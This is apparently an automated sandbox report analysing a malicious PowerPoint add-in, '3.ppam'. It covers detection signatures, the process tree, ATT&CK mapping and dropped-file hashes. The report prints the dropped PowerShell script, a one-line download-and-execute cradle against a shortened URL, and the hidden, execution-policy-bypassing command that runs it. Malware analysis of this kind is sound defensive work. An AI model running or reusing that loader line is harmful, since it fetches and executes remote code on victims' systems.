
ID: 553159
Sample Name: 3.ppam
Cookbook:
defaultwindowsofficecookbook.jbs
Time: 12:12:21
Date: 14/01/2022
Version: 34.0.0 Boulder Opal
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Windows Analysis Report 3.ppam

Overview

General Information

Sample 
Name:

3.ppam

Analysis ID: 553159

MD5: df075573f3546a5…

SHA1: 60c1884b11d4eb…

SHA256: 4337ff8e652f6fe6…

Tags: ppam

Infos:

Most interesting Screenshot:

Detection

Score: 56

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Bypasses PowerShell execution pol

Bypasses PowerShell execution pol

Bypasses PowerShell execution pol

Bypasses PowerShell execution pol

Bypasses PowerShell execution pol

Bypasses PowerShell execution pol

Bypasses PowerShell execution polBypasses PowerShell execution pol……

Sigma detected: Change PowerShel

Sigma detected: Change PowerShel

Sigma detected: Change PowerShel

Sigma detected: Change PowerShel

Sigma detected: Change PowerShel

Sigma detected: Change PowerShel

Sigma detected: Change PowerShelSigma detected: Change PowerShel……

Sigma detected: Microsoft Office Pr

Sigma detected: Microsoft Office Pr

Sigma detected: Microsoft Office Pr

Sigma detected: Microsoft Office Pr

Sigma detected: Microsoft Office Pr

Sigma detected: Microsoft Office Pr

Sigma detected: Microsoft Office PrSigma detected: Microsoft Office Pr……

Document exploit detected (process

Document exploit detected (process

Document exploit detected (process

Document exploit detected (process

Document exploit detected (process

Document exploit detected (process

Document exploit detected (processDocument exploit detected (process……

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (namQueries the volume information (nam……

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature matchYara signature match

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder May sleep (evasive loops) to hinder ……

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended moCreates a process in suspended mo……

Document misses a certain OLE str

Document misses a certain OLE str

Document misses a certain OLE str

Document misses a certain OLE str

Document misses a certain OLE str

Document misses a certain OLE str

Document misses a certain OLE strDocument misses a certain OLE str……

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)Contains long sleeps (>= 3 min)

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privilegesEnables debug privileges

Classification

Malware Configuration

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w7x64

POWERPNT.EXE (PID: 2696 cmdline: "C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE" /AUTOMATION -Embedding MD5: 

EBBBEF2CCA67822395E24D6E18A3BDF6)
cmd.exe (PID: 2940 cmdline: C:\Windows\system32\cmd.exe /c "C:\Users\user\Desktop\3.ppam" MD5: AD7B9C14083B52BC532FBA5948342B98)

POWERPNT.EXE (PID: 2860 cmdline: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\user\Desktop\3.ppam MD5: 

EBBBEF2CCA67822395E24D6E18A3BDF6)
powershell.exe (PID: 2180 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h -NoProfile -ExecutionPolicy Bypass -Command C:\Users\us

er\Pictures\notnice.ps1 MD5: 852D67A27E454BD389FA7F02A8CBE23F)
cleanup

No configs have been found

Source Rule Description Author Strings

Process Tree

Yara Overview

Memory Dumps
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Sigma Overview

System Summary:

Sigma detected: Change PowerShell Policies to a Unsecure Level

Sigma detected: Microsoft Office Product Spawning Windows Shell

Sigma detected: Non Interactive PowerShell

Jbx Signature Overview

Click to jump to signature section

Software Vulnerabilities:

Document exploit detected (process start blacklist hit)

System Summary:

HIPS / PFW / Operating System Protection Evasion:

Bypasses PowerShell execution policy

Mitre Att&ck Matrix

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command
and Control

Network
Effects

Valid
Accounts

Command
and Scripting
Interpreter 1

Path
Interception

Process
Injection 1 1

Masquerading 1 OS
Credential
Dumping

Security Software
Discovery 1

Remote
Services

Data from
Local
System

Exfiltration
Over Other
Network
Medium

Data
Obfuscation

Eavesdrop on
Insecure
Network
Communication

Default
Accounts

PowerShell 1 Boot or
Logon
Initialization
Scripts

Boot or Logon
Initialization
Scripts

Virtualization/Sandbox
Evasion 2 1

LSASS
Memory

Process Discovery 1 Remote
Desktop
Protocol

Data from
Removable
Media

Exfiltration
Over
Bluetooth

Junk Data Exploit SS7 to
Redirect Phone
Calls/SMS

Domain
Accounts

Exploitation
for Client
Execution 1

Logon Script
(Windows)

Logon Script
(Windows)

Process
Injection 1 1

Security
Account
Manager

Virtualization/Sandbox
Evasion 2 1

SMB/Windows
Admin Shares

Data from
Network
Shared
Drive

Automated
Exfiltration

Steganography Exploit SS7 to
Track Device
Location

Process Memory Space: powershell.exe PID: 2180 PowerShell_Susp_Parame
ter_Combo

Detects 
PowerShell 
invocation with 
suspicious 
parameters

Florian Roth 0xee75:$sa2:  -encodedCommand 
0xf427:$sa2:  -EncodedCommand 
0xfb58:$sa2:  -EncodedCommand 
0xfbef:$sa2:  -encodedCommand 
0x65b2:$sc2:  -NoProfile 
0x177ba:$sc2:  -NoProfile 
0x179bc:$sc2:  -NoProfile 
0x17a4d:$sc2:  -NoProfile 
0x2c0f8:$sc2:  -NoProfile 
0x1c6484:$sc2:  -NoProfile 
0xf251:$sd2:  -NonInteractive 
0x65bd:$se3:  -ExecutionPolicy Bypass 
0x177c5:$se3:  -ExecutionPolicy Bypass 
0x179c7:$se3:  -ExecutionPolicy Bypass 
0x17a58:$se3:  -ExecutionPolicy Bypass 
0x2c103:$se3:  -ExecutionPolicy Bypass 
0x1c648f:$se3:  -ExecutionPolicy Bypass 

Source Rule Description Author Strings
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Local
Accounts

At (Windows) Logon Script
(Mac)

Logon Script
(Mac)

Binary Padding NTDS File and Directory
Discovery 2

Distributed
Component
Object Model

Input
Capture

Scheduled
Transfer

Protocol
Impersonation

SIM Card
Swap

Cloud
Accounts

Cron Network
Logon Script

Network
Logon Script

Software Packing LSA
Secrets

System Information
Discovery 1 1

SSH Keylogging Data
Transfer
Size Limits

Fallback
Channels

Manipulate
Device
Communication

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command
and Control

Network
Effects

Behavior Graph
ID: 553159

Sample: 3.ppam

Startdate: 14/01/2022

Architecture: WINDOWS

Score: 56

Bypasses PowerShell
execution policy

Sigma detected: Microsoft
Office Product Spawning

Windows Shell

Document exploit detected
(process start blacklist

hit)

Sigma detected: Change
PowerShell Policies
to a Unsecure Level

cmd.exe

1

        started       

POWERPNT.EXE

501 3

        started       

POWERPNT.EXE

153 27

        started       

C:\Users\user\Pictures\notnice.ps1, ASCII

dropped

powershell.exe

6

        started       

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Graph

Screenshots
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No Antivirus matches

No Antivirus matches

No Antivirus matches

No Antivirus matches

Source Detection Scanner Label Link

www.%s.comPA 0% URL Reputation safe

www.j.mp/asasdjiasjdiasjasdasddik 0% Avira URL Cloud safe

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs
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General Information

Joe Sandbox Version: 34.0.0 Boulder Opal

Analysis ID: 553159

Start date: 14.01.2022

Start time: 12:12:21

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 5m 16s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: 3.ppam

Cookbook file name: defaultwindowsofficecookbook.jbs

Analysis system description: Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 
4.6.2)

Number of analysed new started processes 
analysed:

8

Number of new started drivers analysed: 2

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal56.expl.evad.winPPAM@7/10@0/0

EGA Information: Failed

HDC Information: Failed

HCA Information: Successful, ratio: 100%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: .ppam
Found Word or Excel or PowerPoint or XPS Viewer
Found warning dialog
Click Ok
Attach to Office via COM
Scroll down
Close Viewer

Warnings:

No contacted domains info

No contacted IP infos

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Show All

Simulations

Behavior and APIs
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Time Type Description

12:13:44 API Interceptor 12x Sleep call for process: powershell.exe modified

No context

No context

No context

No context

No context

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd
Process: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE

File Type: data

Category: dropped

Size (bytes): 147284

Entropy (8bit): 4.421654080357845

Encrypted: false

SSDEEP: 1536:C8mL3FNSc8SetKB96vQVCBumVMOej6mXmYarrJQcd1FaLcmB:ClJNSc83tKBAvQVCgOtmXmLpLmB

MD5: 294B52E59D0F621728A774EA181C00F1

SHA1: 53C909B41620A0AAB582231254D4667F148E9352

SHA-256: 782F6214940DE7DF29D8B172E88F1640456E0099B3540D0214D3930BCD4745B7

SHA-512: A0097A1DDAB728AF4EDC9A3EC2E3AC132C3126162EDA005527EC2F855EE2E35E543C5EC11A310974EC7C0D8C824175A7D213824DDCE0E4A9481629CDCDDC39
7B

Malicious: false

Reputation: low

Preview:
MSFT................Q................................#......$....... ...................d.......,...........X....... ...........L...........x.......@...........l.......4...........`.......(...........T...................H...........t.......<.........
..h.......0...........\.......$...........P...........|.......D...........p.......8...........d.......,...........X....... ...........L...........x.......@........ ..l ... ..4!...!...!..`"..."..(#...#...#..T$...$...%...%...%..H&..
.&...'..t'...'..<(...(...)..h)...)..0*...*...*..\+...+..$,...,...,..P-...-......|.......D/.../...0..p0...0..81...1...2..d2...2..,3...3...3..X4...4.. 5...5...5..L6...6...7..x7...7..@8.......8...........N..............\W..
.............J..............,<...............<..............xW..............xY..xG.............T...........D...............................T...............................................................&!..d..........................................
.................................................

C:\Users\user\AppData\Local\Temp\~DF225064AF01AADBDA.TMP
Process: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE

File Type: data

Category: dropped

Size (bytes): 512

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3::

MD5: BF619EAC0CDF3F68D496EA9344137E8B

SHA1: 5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5

SHA-256: 076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Copyright Joe Security LLC 2022 Page 8 of 14



SHA-512: DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34B
FE

Malicious: false

Reputation: high, very likely benign file

Preview:
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF225064AF01AADBDA.TMP

C:\Users\user\AppData\Local\Temp\~DF88C0865619A4B2E0.TMP
Process: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE

File Type: Composite Document File V2 Document, Cannot read section info

Category: dropped

Size (bytes): 1536

Entropy (8bit): 1.1464700112623651

Encrypted: false

SSDEEP: 3:YmsalTlLPltl2N81HRQjlORGt7RQ//W1XR9//3R9//3R9//:rl912N0xs+CFQXCB9Xh9Xh9X

MD5: 72F5C05B7EA8DD6059BF59F50B22DF33

SHA1: D5AF52E129E15E3A34772806F6C5FBF132E7408E

SHA-256: 1DC0C8D7304C177AD0E74D3D2F1002EB773F4B180685A7DF6BBE75CCC24B0164

SHA-512: 6FF1E2E6B99BD0A4ED7CA8A9E943551BCD73A0BEFCACE6F1B1106E88595C0846C9BB76CA99A33266FFEC2440CF6A440090F803ABBF28B208A6C7BC6310BEB3
9E

Malicious: false

Reputation: moderate, very likely benign file

Preview:
......................>.......................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
............................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFCBF9966AD85D556A.TMP
Process: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE

File Type: data

Category: dropped

Size (bytes): 61440

Entropy (8bit): 0.18599931891672755

Encrypted: false

SSDEEP: 48:2tytja2D7VRFeRLUMS8VfXAU05MAA1lQ/f8EfrCfeaf:2oc2D7DFeRLUGVQnYuf3frCfeaf

MD5: 3A49E7325E29A24E5D94558792089185

SHA1: 5CE0F8D7AC8156F8C85B473F94F1B10A0C0F627C

SHA-256: 7A87C7600A6A08AA03F0F6827C4C4B144CB1F452D121DF80ADCCCA450F2C48BF

SHA-512: 008A0D75E5B82C5A3FBB942F2DD00692115B3F59F9FC51237D6099630A07997390369F763C1FD2DB4C8E9A222F95D220B3BB939DC0B9C482D90881BDD53357F4

Malicious: false

Reputation: low

Preview:
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Forms\POWERPNT.box
Process: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE

File Type: Composite Document File V2 Document, Cannot read section info

Category: dropped

Size (bytes): 7168

Entropy (8bit): 2.4404537760548903

Encrypted: false

SSDEEP: 48:r4NwTIfOt4hfcJj61tTbfcddbf8sD7VRFeRLUMS8VfXAU05MAA1lQ:XTIfOyhfoO1bfcPf/D7DFeRLUGVQnY

MD5: 862FA12DE384851C7D23CE182ED63320

SHA1: 12E72CD2C6E0B11C8713BA4629D1E866E6605D05

SHA-256: 54142590FABA6EC89143B5A8BD3E23F7540DB87099D7C608B265F3E3A402D623

SHA-512: FF883666CA7F257B08BAAF9EF4487CADE7BFF8C842FC9AEA6975B8C861592FB84A89A0CD2650F9577E80524068F7F389A2D601A6515DF35ED4D52011CD28DA96

Malicious: false

Preview:
......................>.......................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
............................................................................................................................................................................................

Copyright Joe Security LLC 2022 Page 9 of 14



C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\3.LNK
Process: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE

File Type: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Mon Aug 30 20:09:11 2021, mtime=Mon Aug 30 20:09:11 2021, 
atime=Fri Jan 14 19:13:31 2022, length=12137, window=hide

Category: dropped

Size (bytes): 972

Entropy (8bit): 4.480988097105873

Encrypted: false

SSDEEP: 12:8DsN/gXg/XAlCPCHaXKk5B8B/oPVX+WHFqSqyicvbf1IroDtZ3YilMMEpxRljKIo:8oL/XTak5SoFFq/eJzDv3qhQd7Qy

MD5: 15DD99CDDB0D970C262DA06C23FFF2E4

SHA1: E9F4087377319EF557B62081A0DD76AFBCE90F0E

SHA-256: 823BF13CA8347021E6B060CFC3F1F343E7261FF90CD0424E6453E3A68C196073

SHA-512: DECB59DFE5C4B0091ECCFC99E0577D859BCC4BF5BEEB0FEF7A771B70FBC41B3DB1225D98EEF227A7AE694DC36534F2B0CBE4F9CF6AB6A15C3DC8BE306295
13A1

Malicious: false

Preview:
L..................F.... ...er.G...er.G...T.k3....i/...........................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X*...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-
.2.1.8.1.3.....L.1......S'...user.8......QK.X.S'.*...&=....U...............A.l.b.u.s.....z.1......S(...Desktop.d......QK.X.S(.*..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1
.7.6.9.....T.2.i/...T.. .359D9~1.PPA.:.......S&..S&.*.........................3...p.p.a.m.......p...............-...8...[............?J......C:\Users\..#...................\\651689\Users.user\Desktop\
3.ppam.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.3...p.p.a.m.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.
3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......651689..........D_....3N...W...9..g............[D_....3N...W...9..g............[....

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
Process: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE

File Type: ASCII text, with CRLF line terminators

Category: modified

Size (bytes): 54

Entropy (8bit): 4.435287854641593

Encrypted: false

SSDEEP: 3:bDuMJlDmxW2v:bCp

MD5: 3443466A166DE5AEB159DBC767636DA7

SHA1: F1D969325B980852B1000E6B04AAE90F5F280192

SHA-256: 7BC913E67074899CDD50866B38E605DE30A3BA90130EB2548359759D3290AD5B

SHA-512: 9C406F39A581A69860C54BDBC0083363BC42A909A8B74D11D2EE4793B97FDE97A56E7314C1CB99ADCF6092B501AE36C55D8CD10194F75E5AA53304A1AE6B34E
1

Malicious: false

Preview:
[folders]..Templates.LNK=0..3.LNK=0..[misc]..3.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit): 3.5815683774657012

Encrypted: false

SSDEEP: 96:chQCwMqKqvsqvJCwojz8hQCwMqKqvsEHyqvJCworBziYYnH0F2/nlUV9A2:cWzojz8WnHnorBziwF2/CA2

MD5: 0CFE4BDBFA4C8DAFAC2952F75F48413E

SHA1: 950CAAD494D6187C56FF1F3CEB810951EC83DEF5

SHA-256: 92EBD5A1841F1422A8C7D1438A216F55FCAF69DCC53B7ACD428A2AF53D07DEA5

SHA-512: 2D41A03C8C5054E880B40AF371B75E70F524BC2E5EFAF2E265D1CECEF51D1E7D8C3ADD78FE101A3768A6B2795D37F54F1BF6B1746AA8569918A4DFD855E3E8A
F

Malicious: false

Preview:
...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\*...k.....................P.r.o.
g.r.a.m.D.a.t.a.....X.1.....~J|v. MICROS~1..@.......:..~J|v*...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;.*.........................W.i.n.d.o.w.s.......1......:((
..STARTM~1..j.......:...:((*...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......S)...Programs..f.......:...S).*...................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.
l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr.*...................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''*.......
..................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,*....=....................W.i.n.d.o.w.s. 

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5WGO1WBK4YH0ZXMQ2XIC.temp
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit): 3.5815683774657012

Encrypted: false

SSDEEP: 96:chQCwMqKqvsqvJCwojz8hQCwMqKqvsEHyqvJCworBziYYnH0F2/nlUV9A2:cWzojz8WnHnorBziwF2/CA2

MD5: 0CFE4BDBFA4C8DAFAC2952F75F48413E

SHA1: 950CAAD494D6187C56FF1F3CEB810951EC83DEF5
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Static File Info

General
File type: Microsoft PowerPoint 2007+

Entropy (8bit): 7.494317115696514

TrID: Microsoft PowerPoint Macro-enabled Open XML 
add-in (41504/1) 50.61%
Microsoft PowerPoint Macro-enabled Open XML 
add-in (32504/1) 39.64%
ZIP compressed archive (8000/1) 9.76%

File name: 3.ppam

File size: 12137

MD5: df075573f3546a582d5f4c690a469d9d

SHA1: 60c1884b11d4eb05f687e077adadcd749b7a488d

SHA256: 4337ff8e652f6fe6b0a8d0a01a67c23764a3bf31eb9ae5fc
a8826f246d1de2ed

SHA512: f30275a11537a9267f663e0a4f17f2b1051cd38b38bacac
d86116fe9a5d259a01546cc4ba79fdc0882ada11867ceee
6b109f2473ac4c04f24b5904b4d20bdd9f

SSDEEP: 192:xrXP/kMSP9xA88Yr1N9A2amFItZwzRIShswC7sO7
kwwn5iwJ4:dXPtDF61NejCk0GShswCYekwy5Lq

File Content Preview: PK..........!..-..............[Content_Types].xml ...(..................
.........................................................................................
.........................................................................................
.....

File Icon

Icon Hash: 9e9ab2eaccdcdcdc

SHA-256: 92EBD5A1841F1422A8C7D1438A216F55FCAF69DCC53B7ACD428A2AF53D07DEA5

SHA-512: 2D41A03C8C5054E880B40AF371B75E70F524BC2E5EFAF2E265D1CECEF51D1E7D8C3ADD78FE101A3768A6B2795D37F54F1BF6B1746AA8569918A4DFD855E3E8A
F

Malicious: false

Preview:
...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\*...k.....................P.r.o.
g.r.a.m.D.a.t.a.....X.1.....~J|v. MICROS~1..@.......:..~J|v*...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;.*.........................W.i.n.d.o.w.s.......1......:((
..STARTM~1..j.......:...:((*...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......S)...Programs..f.......:...S).*...................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.
l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr.*...................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''*.......
..................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,*....=....................W.i.n.d.o.w.s. 

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5WGO1WBK4YH0ZXMQ2XIC.temp

C:\Users\user\Pictures\notnice.ps1

Process: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 74

Entropy (8bit): 4.48425400180803

Encrypted: false

SSDEEP: 3:LuWXzJziJS4kVKpF8sPETktHZzvn:SEJmc47n8sSktHlv

MD5: E889D82B058255AF743DA13001B2774A

SHA1: 82528561326EEBC08EE216D8BF7A457D0749B3C9

SHA-256: 0A150F4647B60F84416E88DFD6DC5E22FAA88B08551397E861B7B2CCAA9ED085

SHA-512: D4A29D3245607BA17D7B7E8AFBD0A3431CA295CBA2753514E8D5DF3BDD5946F1E05911B25E634FCD108B56F66E25D2D446C2C56D9E2900C8D6F885204755ED7
B

Malicious: true

Preview:
start-sleep 10;iwr "http://www.j.mp/asasdjiasjdiasjasdasddik" -useB|iex;..

Network Behavior
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No network behavior found

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start time: 12:13:31

Start date: 14/01/2022

Path: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE

Wow64 process (32bit): false

Commandline: "C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE" /AUTOMATION -Embedding

Imagebase: 0x13f510000

File size: 2163560 bytes

MD5 hash: EBBBEF2CCA67822395E24D6E18A3BDF6

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Show Windows behavior

Show Windows behavior

File ActivitiesFile Activities

Start time: 12:13:34

Start date: 14/01/2022

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: C:\Windows\system32\cmd.exe /c "C:\Users\user\Desktop\3.ppam"

Imagebase: 0x4aad0000

File size: 302592 bytes

MD5 hash: AD7B9C14083B52BC532FBA5948342B98

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

Analysis Process: POWERPNT.EXE PID: 2696 Parent PID: 596Analysis Process: POWERPNT.EXE PID: 2696 Parent PID: 596

General

Analysis Process: cmd.exe PID: 2940 Parent PID: 1448Analysis Process: cmd.exe PID: 2940 Parent PID: 1448

General
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Registry ActivitiesRegistry Activities Show Windows behavior

File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start time: 12:13:35

Start date: 14/01/2022

Path: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE

Wow64 process (32bit): false

Commandline: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\user\Desktop\3.ppam

Imagebase: 0x13f110000

File size: 2163560 bytes

MD5 hash: EBBBEF2CCA67822395E24D6E18A3BDF6

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Show Windows behavior

Show Windows behavior

File ActivitiesFile Activities

Start time: 12:13:43

Start date: 14/01/2022

Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit): false

Commandline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h -NoProfile -Exe
cutionPolicy Bypass -Command C:\Users\user\Pictures\notnice.ps1

Imagebase: 0x13fe40000

File size: 473600 bytes

MD5 hash: 852D67A27E454BD389FA7F02A8CBE23F

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Reputation: high

Show Windows behavior

Analysis Process: POWERPNT.EXE PID: 2860 Parent PID: 2940Analysis Process: POWERPNT.EXE PID: 2860 Parent PID: 2940

General

File CreatedFile Created

File DeletedFile Deleted

File WrittenFile Written

Key CreatedKey Created

Key Value CreatedKey Value Created

Analysis Process: powershell.exe PID: 2180 Parent PID: 2860Analysis Process: powershell.exe PID: 2180 Parent PID: 2860

General

File ReadFile Read
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Joe Sandbox Cloud Basic 34.0.0 Boulder Opal

Disassembly

Code Analysis
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